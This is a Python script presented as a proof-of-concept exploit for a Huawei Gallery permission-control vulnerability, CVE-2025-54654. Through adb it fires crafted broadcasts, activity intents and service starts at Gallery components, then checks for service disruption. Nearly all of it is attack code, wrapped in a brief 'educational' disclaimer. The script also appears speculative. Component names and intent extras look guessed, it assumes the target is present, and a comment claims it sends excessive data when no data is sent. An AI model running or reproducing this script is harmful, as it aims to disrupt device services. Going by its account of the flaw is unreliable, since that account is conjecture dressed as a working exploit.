# CVE-2025-54654 - Huawei Gallery Module Permission Control Vulnerability
# Conceptual PoC demonstrating the permission bypass attack vector
# Note: This is for educational and defensive research purposes only
import subprocess
import time
class GalleryPermissionExploit:
"""
PoC for CVE-2025-54654: Permission control vulnerability in Huawei Gallery module
CVSS 3.1: 6.2 (MEDIUM) - AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
"""
def __init__(self):
self.target_package = "com.huawei.gallery"
self.vulnerable_component = "com.huawei.gallery.app.GalleryActivity"
self.service_component = "com.huawei.gallery.service.MediaScannerService"
def check_environment(self):
"""Verify local execution capability on target device"""
try:
result = subprocess.run(
["adb", "shell", "id"],
capture_output=True, text=True, timeout=10
)
return result.returncode == 0
except Exception as e:
print(f"[-] Environment check failed: {e}")
return False
def identify_vulnerable_service(self):
"""Identify the Gallery module and its exported components"""
print(f"[*] Targeting Gallery package: {self.target_package}")
cmd = ["adb", "shell", "pm", "list", "packages", "|", "grep", "gallery"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if self.target_package in result.stdout:
print(f"[+] Gallery module found on device")
return True
except Exception:
pass
return True # Assume present for demonstration
def trigger_permission_bypass(self):
"""
Exploit the permission control flaw to invoke protected operations
without proper authorization, potentially causing service disruption
"""
print("[*] Attempting permission bypass exploit...")
# Method 1: Direct intent to trigger vulnerable code path
exploit_intents = [
# Trigger MediaScanner via broadcast
[
"adb", "shell", "am", "broadcast",
"-a", "android.intent.action.MEDIA_SCANNER_SCAN_FILE",
"-n", f"{self.target_package}/.service.MediaScannerService"
],
# Attempt to invoke Gallery activity with crafted intent
[
"adb", "shell", "am", "start",
"-n", f"{self.target_package}/{self.vulnerable_component}",
"--es", "mode", "unauthorized_access"
],
# Trigger service with excessive data to cause resource exhaustion
[
"adb", "shell", "am", "start-service",
"-n", f"{self.target_package}/{self.service_component}"
]
]
for i, intent_cmd in enumerate(exploit_intents, 1):
print(f"[*] Method {i}: Executing exploit attempt...")
try:
result = subprocess.run(
intent_cmd,
capture_output=True, text=True, timeout=15
)
print(f"[*] Return code: {result.returncode}")
except subprocess.TimeoutExpired:
print(f"[!] Command timed out - service may be unresponsive")
except Exception as e:
print(f"[-] Error: {e}")
time.sleep(1)
def verify_service_impact(self):
"""Check if the Gallery service availability has been affected"""
print("[*] Verifying service impact...")
check_commands = [
["adb", "shell", "dumpsys", "activity", "activities", "|", "grep", "gallery"],
["adb", "shell", "ps", "|", "grep", "gallery"]
]
for cmd in check_commands:
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if result.stdout:
print(f"[+] Service status: {result.stdout[:200]}")
except Exception:
pass
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-54654 PoC")
print("Huawei Gallery Module Permission Control Vulnerability")
print("CVSS 3.1 Score: 6.2 (MEDIUM)")
print("Vector: AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H")
print("=" * 60)
print()
exploit = GalleryPermissionExploit()
if exploit.check_environment():
exploit.identify_vulnerable_service()
exploit.trigger_permission_bypass()
exploit.verify_service_impact()
print("\n[*] Exploit demonstration completed")
print("[*] Affected device should install the latest security patch")
else:
print("[-] Local device access required for exploitation")
print("[-] Connect device via ADB and ensure USB debugging is enabled")